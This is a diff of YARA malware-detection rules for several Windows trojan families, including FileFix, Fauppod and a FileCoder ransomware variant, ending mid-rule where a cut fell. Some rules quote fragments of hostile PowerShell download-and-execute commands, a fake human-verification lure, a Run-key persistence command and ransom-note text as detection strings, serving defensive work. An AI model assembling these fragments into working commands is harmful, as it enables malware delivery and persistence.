a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZZ_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZZ_MTB.yar new file mode 100644 index 0000000000..d9a6b7d37e --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_GZZ_MTB{ + meta: + description = "Trojan:Win32/Fauppod.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {42 31 d2 89 15 ?? ?? ?? ?? 01 1d ?? ?? ?? ?? 31 d0 42 c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 35 ?? ?? ?? ?? b9 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCT_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCT_MTB.yar new file mode 100644 index 0000000000..5e89858e10 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZCT_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZCT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 8a 45 0c 8a 4d 08 b2 01 88 c4 02 25 ?? ?? ?? ?? 88 25 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? 8b 35 3c a8 02 10 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0f b6 c2 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCV_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCV_MTB.yar new file mode 100644 index 0000000000..5a019b889d --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZCV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZCV_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZCV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 8a 45 0c 8a 4d 08 b2 01 88 cc 02 25 ?? ?? ?? ?? 88 25 ?? ?? ?? ?? 8b 35 ?? ?? ?? ?? 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0f b6 c2 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZEV_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZEV_MTB.yar new file mode 100644 index 0000000000..b2b5d2aea5 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZEV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZEV_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZEV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 56 50 8a 45 0c 8a 4d 08 31 d2 88 d4 88 45 fb 88 4d fa 0f b6 55 fa 0f b6 35 ?? ?? ?? ?? 01 f2 88 d0 a2 ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 81 ea ?? ?? ?? ?? 89 15 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8a 45 fa a2 ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 81 ea ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 8a 45 fb a2 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8b 15 ?? ?? ?? ?? 81 c2 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 0f b6 c4 83 c4 04 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZHT_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZHT_MTB.yar new file mode 100644 index 0000000000..fa0d40e90f --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZHT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZHT_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZHT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 c2 4a 40 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 31 20 e8 ?? ?? ?? ?? c3 01 d0 8d 05 ?? ?? ?? ?? 31 d2 89 10 31 18 31 d2 89 15 ?? ?? ?? ?? 01 3d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZPU_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZPU_MTB.yar new file mode 100644 index 0000000000..abea830367 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZPU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZPU_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZPU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 8a 45 0c 8a 4d 08 b2 01 88 c4 02 25 ?? ?? ?? ?? 88 25 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0f b6 c2 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZRY_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZRY_MTB.yar new file mode 100644 index 0000000000..3870ac4c55 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZRY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZRY_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZRY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {31 d0 88 c1 88 0d ?? ?? ?? ?? a1 ?? ?? ?? ?? 05 ?? ?? ?? ?? a3 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 2d ?? ?? ?? ?? a3 ?? ?? ?? ?? 0f b6 05 ?? ?? ?? ?? 83 c4 08 5e 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTT_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTT_MTB.yar new file mode 100644 index 0000000000..b71e8aa6ce --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZTT_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZTT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 c2 c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 31 25 ?? ?? ?? ?? e8 ?? ?? ?? ?? c3 29 d0 8d 05 ?? ?? ?? ?? c7 00 ?? ?? ?? ?? 01 18 e8 ?? ?? ?? ?? c3 01 c2 83 c2 0a c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 2d ?? ?? ?? ?? 29 c2 31 d2 89 15 ?? ?? ?? ?? 31 3d ?? ?? ?? ?? 42 83 c0 04 31 d2 89 15 ?? ?? ?? ?? 31 35 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTV_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTV_MTB.yar new file mode 100644 index 0000000000..36114b7c78 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZTV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZTV_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZTV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 57 56 8a 45 0c 8a 4d 08 b2 01 8b 35 ?? ?? ?? ?? 89 f7 81 c7 ?? ?? ?? ?? 89 3d ?? ?? ?? ?? 88 c4 02 25 ?? ?? ?? ?? 88 25 ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? 81 c6 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 0f b6 c2 5e 5f 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZJ_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZJ_MTB.yar new file mode 100644 index 0000000000..1b1e80160d --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZZJ_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZZJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 e5 8a 45 0c 8a 4d 08 31 d2 88 d4 8b 15 ?? ?? ?? ?? 88 cd 02 2d ?? ?? ?? ?? 88 2d ?? ?? ?? ?? 88 0d ?? ?? ?? ?? a2 ?? ?? ?? ?? c7 05 ?? ?? ?? ?? ?? ?? ?? ?? 81 c2 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? 0f b6 c4 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZY_MTB.yar b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZY_MTB.yar new file mode 100644 index 0000000000..3f8f688f07 --- /dev/null +++ b/Trojan/Win32/Fauppod/Trojan_Win32_Fauppod_ZZY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fauppod_ZZY_MTB{ + meta: + description = "Trojan:Win32/Fauppod.ZZY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 89 e5 53 81 ec ?? ?? ?? ?? a1 ?? ?? ?? ?? 8a 08 88 8d ?? ?? ?? ?? b8 ?? ?? ?? ?? 8a 8d ?? ?? ?? ?? 80 f9 ?? 89 85 ?? ?? ?? ?? 0f 85 ?? ?? ?? ?? 8b 85 e0 fe ff ff 81 c4 ?? ?? ?? ?? 5b 5d c3 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/FavLoader/Trojan_Win32_FavLoader_A_MTB.yar b/Trojan/Win32/FavLoader/Trojan_Win32_FavLoader_A_MTB.yar deleted file mode 100644 index 32e6b13d96..0000000000 --- a/Trojan/Win32/FavLoader/Trojan_Win32_FavLoader_A_MTB.yar +++ /dev/null @@ -1,13 +0,0 @@ - -rule Trojan_Win32_FavLoader_A_MTB{ - meta: - description = "Trojan:Win32/FavLoader.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " - - strings : - $a_01_0 = {72 75 6e 64 6c 6c 33 32 20 66 61 76 69 63 6f 6e 2e 6a 70 67 2c 20 23 } //2 rundll32 favicon.jpg, # - $a_01_1 = {57 69 6e 45 78 65 63 } //1 WinExec - $a_01_2 = {43 72 65 61 74 65 4d 75 74 65 78 } //1 CreateMutex - condition: - ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 - -} \ No newline at end of file diff --git a/Trojan/Win32/Fero/Trojan_Win32_Fero_SEC_MTB.yar b/Trojan/Win32/Fero/Trojan_Win32_Fero_SEC_MTB.yar new file mode 100644 index 0000000000..4d32eb775d --- /dev/null +++ b/Trojan/Win32/Fero/Trojan_Win32_Fero_SEC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Fero_SEC_MTB{ + meta: + description = "Trojan:Win32/Fero.SEC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8a 45 0c 8a 4d 08 8b 15 ?? ?? ?? ?? 81 c2 ?? ?? ?? ?? 88 45 ff 88 4d fe 89 55 f8 8b 45 f8 a3 ?? ?? ?? ?? 8a 4d ff 8a 55 fe 30 d1 0f b6 c1 83 c4 08 5d } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_A_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_A_MTB.yar new file mode 100644 index 0000000000..19e66d13f6 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_A_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_FileFix_A_MTB{ + meta: + description = "Trojan:Win32/FileFix.A!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 2e 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 5d 00 3a 00 3a 00 53 00 68 00 6f 00 77 00 28 00 24 00 } //1 [System.Windows.Forms.MessageBox]::Show($ + $a_00_1 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 46 00 6f 00 72 00 6d 00 73 00 2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 5d 00 3a 00 3a 00 53 00 65 00 6e 00 64 00 57 00 61 00 69 00 74 00 } //1 System.Windows.Forms.SendKeys]::SendWait + $a_00_4 = {66 00 6f 00 72 00 28 00 24 00 } //1 for($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_B_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_B_MTB.yar new file mode 100644 index 0000000000..4608c95595 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_B_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_FileFix_B_MTB{ + meta: + description = "Trojan:Win32/FileFix.B!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {77 00 68 00 69 00 6c 00 65 00 28 00 24 00 } //1 while($ + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_2 = {2e 00 64 00 6f 00 63 00 78 00 } //1 .docx + $a_00_3 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 5d 00 3a 00 3a 00 53 00 68 00 6f 00 77 00 28 00 28 00 24 00 } //1 [System.Windows.MessageBox]::Show(($ + $a_00_4 = {47 00 65 00 74 00 2d 00 52 00 61 00 6e 00 64 00 6f 00 6d 00 } //1 Get-Random + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DC_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DC_MTB.yar new file mode 100644 index 0000000000..783c839f27 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DC_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_FileFix_DC_MTB{ + meta: + description = "Trojan:Win32/FileFix.DC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 07 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {3b 00 20 00 23 00 20 00 2d 00 2d 00 2d 00 20 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 20 00 69 00 64 00 65 00 6e 00 74 00 69 00 74 00 79 00 } //10 ; # --- Security identity + $a_00_2 = {3b 00 20 00 23 00 20 00 56 00 65 00 72 00 69 00 66 00 79 00 20 00 79 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 68 00 75 00 6d 00 61 00 6e 00 } //10 ; # Verify you are human + $a_00_3 = {3b 00 20 00 23 00 20 00 2d 00 2d 00 2d 00 2d 00 2d 00 20 00 49 00 64 00 65 00 6e 00 74 00 69 00 74 00 79 00 } //10 ; # ----- Identity + $a_00_4 = {24 00 66 00 61 00 62 00 3b 00 } //10 $fab; + $a_00_5 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 Invoke-Expression $ + $a_00_6 = {3d 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 } //1 = Invoke-WebRequest + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=112 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DI_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DI_MTB.yar new file mode 100644 index 0000000000..4cc6d4ac81 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DI_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_FileFix_DI_MTB{ + meta: + description = "Trojan:Win32/FileFix.DI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_02_1 = {2d 00 63 00 20 00 70 00 69 00 6e 00 67 00 [0-50] 23 00 } //10 + $a_00_2 = {2e 00 64 00 6f 00 63 00 78 00 } //1 .docx + $a_00_3 = {2e 00 70 00 64 00 66 00 } //1 .pdf + condition: + ((#a_00_0 & 1)*100+(#a_02_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DJ_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DJ_MTB.yar new file mode 100644 index 0000000000..e0a1f331c8 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DJ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_FileFix_DJ_MTB{ + meta: + description = "Trojan:Win32/FileFix.DJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 05 00 00 " + + strings : + $a_00_0 = {2e 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 2e 00 41 00 64 00 64 00 28 00 } //10 .Headers.Add( + $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //10 .DownloadString( + $a_00_2 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //10 Net.WebClient + $a_00_3 = {7c 00 20 00 69 00 65 00 78 00 } //10 | iex + $a_00_4 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //10 schtasks /delete + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10) >=50 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DT_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DT_MTB.yar new file mode 100644 index 0000000000..1bda53a6c6 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_DT_MTB.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_FileFix_DT_MTB{ + meta: + description = "Trojan:Win32/FileFix.DT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 08 00 00 " + + strings : + $a_00_0 = {50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 Powershell + $a_00_1 = {43 00 3a 00 5c 00 63 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 5c 00 } //50 C:\company\ + $a_00_2 = {43 00 3a 00 5c 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 2d 00 73 00 65 00 63 00 75 00 72 00 65 00 5c 00 } //50 C:\internal-secure\ + $a_00_3 = {2e 00 64 00 6f 00 63 00 78 00 } //10 .docx + $a_00_4 = {2e 00 70 00 64 00 66 00 } //10 .pdf + $a_00_5 = {2e 00 74 00 78 00 74 00 } //10 .txt + $a_00_6 = {2e 00 70 00 70 00 74 00 } //10 .ppt + $a_00_7 = {20 00 23 00 20 00 } //1 # + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*50+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*1) >=161 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_D_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_D_MTB.yar new file mode 100644 index 0000000000..92d034f937 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_D_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_FileFix_D_MTB{ + meta: + description = "Trojan:Win32/FileFix.D!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {2e 00 64 00 6f 00 63 00 78 00 } //1 .docx + $a_02_2 = {2d 00 63 00 20 00 70 00 69 00 6e 00 67 00 [0-50] 23 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/FileFix/Trojan_Win32_FileFix_HB_MTB.yar b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_HB_MTB.yar new file mode 100644 index 0000000000..afb6f88752 --- /dev/null +++ b/Trojan/Win32/FileFix/Trojan_Win32_FileFix_HB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_FileFix_HB_MTB{ + meta: + description = "Trojan:Win32/FileFix.HB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6a 00 6a 00 05 00 00 " + + strings : + $a_02_0 = {2e 00 65 00 78 00 65 00 90 23 15 03 27 29 20 23 00 20 00 } //100 + $a_02_1 = {2e 00 70 00 73 00 31 00 90 23 15 03 27 29 20 23 00 20 00 } //100 + $a_00_2 = {63 00 75 00 72 00 6c 00 20 00 } //5 curl + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //5 powershell + $a_00_4 = {20 00 68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*100+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5+(#a_00_4 & 1)*1) >=106 + +} \ No newline at end of file diff --git a/Trojan/Win32/Filecoder/Trojan_Win32_FileCoder_NF_MTB.yar b/Trojan/Win32/Filecoder/Trojan_Win32_FileCoder_NF_MTB.yar index 1ad5f25353..0ed6f9b730 100644 --- a/Trojan/Win32/Filecoder/Trojan_Win32_FileCoder_NF_MTB.yar +++ b/Trojan/Win32/Filecoder/Trojan_Win32_FileCoder_NF_MTB.yar @@ -32,4 +32,34 @@ rule Trojan_Win32_FileCoder_NF_MTB_3{ condition: ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 +} +rule Trojan_Win32_FileCoder_NF_MTB_4{ + meta: + description = "Trojan:Win32/FileCoder.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {43 72 79 70 74 6f 77 61 6c 6c 2e 68 74 6d } //2 Cryptowall.htm + $a_01_1 = {53 65 6e 64 20 24 36 30 30 20 77 6f 72 74 68 20 6f 66 20 42 69 74 63 6f 69 6e 20 74 6f 20 74 68 69 73 20 61 64 64 72 65 73 73 } //1 Send $600 worth of Bitcoin to this address + $a_01_2 = {44 65 63 72 79 70 74 69 6e 67 2e 2e 2e 20 44 4f 20 4e 4f 54 20 43 4c 4f 53 45 20 54 48 45 20 50 52 4f 47 52 41 4d } //1 Decrypting... DO NOT CLOSE THE PROGRAM + $a_01_3 = {54 6f 20 67 65 74 20 74 68 65 20 6b 65 79 20 74 6f 20 64 65 63 72 79 70 74 20 66 69 6c 65 73 2c 20 79 6f 75 20 68 61 76 65 20 74 6f 20 70 61 69 64 } //1 To get the key to decrypt files, you have to paid + $a_01_4 = {4f 75 72 20 64 65 6d 6f 63 72 61 63 79 20 61 73 20 62 65 65 6e 20 68 61 63 6b 65 64 } //1 Our democracy as been hacked + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} +rule Trojan_Win32_FileCoder_NF_MTB_5{ + meta: + description = "Trojan:Win32/FileCoder.NF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_01_0 = {6e 65 62 65 7a 70 65 63 6e 79 77 65 62 2e 65 75 2f 63 6d 46 75 63 32 39 74 64 32 46 79 5a 51 2f 64 65 74 61 69 6c 2e 70 68 70 } //2 nebezpecnyweb.eu/cmFuc29td2FyZQ/detail.php + $a_01_1 = {68 69 6a 61 63 6b 65 64 } //1 hijacked + $a_01_2 = {52 45 47 20 41 44 44 20 48 4b 43 55 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 20 2f 56 20 53 79 73 } //1 REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Sys + $a_01_3 = {72 61 6e 73 6f 6d 77 61 72 65 } //1 ransomware + $a_01_4 = {44 65 6c 65 74 65 46 69 6c 65 73 } //1 DeleteFiles + $a_01_5 = {47 65 74 45 6e 63 72 79 70 74 65 64 46 69 6c 65 73 } //1 GetEncryptedFiles + $a_01_6 = {64 65 63 72 79 70 74 69 6e 67 20 6d 65 73 73 61 67 65 } //1 decrypting message + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=8 + } \ No newline at end of file diff --git a/Trojan/Win32/FirmLoad/Trojan_Win32_FirmLoad_A_dha.yar b/Trojan/Win32/FirmLoad/Trojan_Win32_FirmLoad_A_dha.yar new file mode 100644 index 0000000000..1a261f003d --- /dev/null +++ b/Trojan/Win32/FirmLoad/Trojan_Win32_FirmLoad_A_dha.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_FirmLoad_A_dha{ + meta: + description = "Trojan:Win32/FirmLoad.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {45 33 c9 45 33 c0 33 d2 b9 42 4d 53 52 ff 15 } //3 + $a_03_1 = {ba 02 00 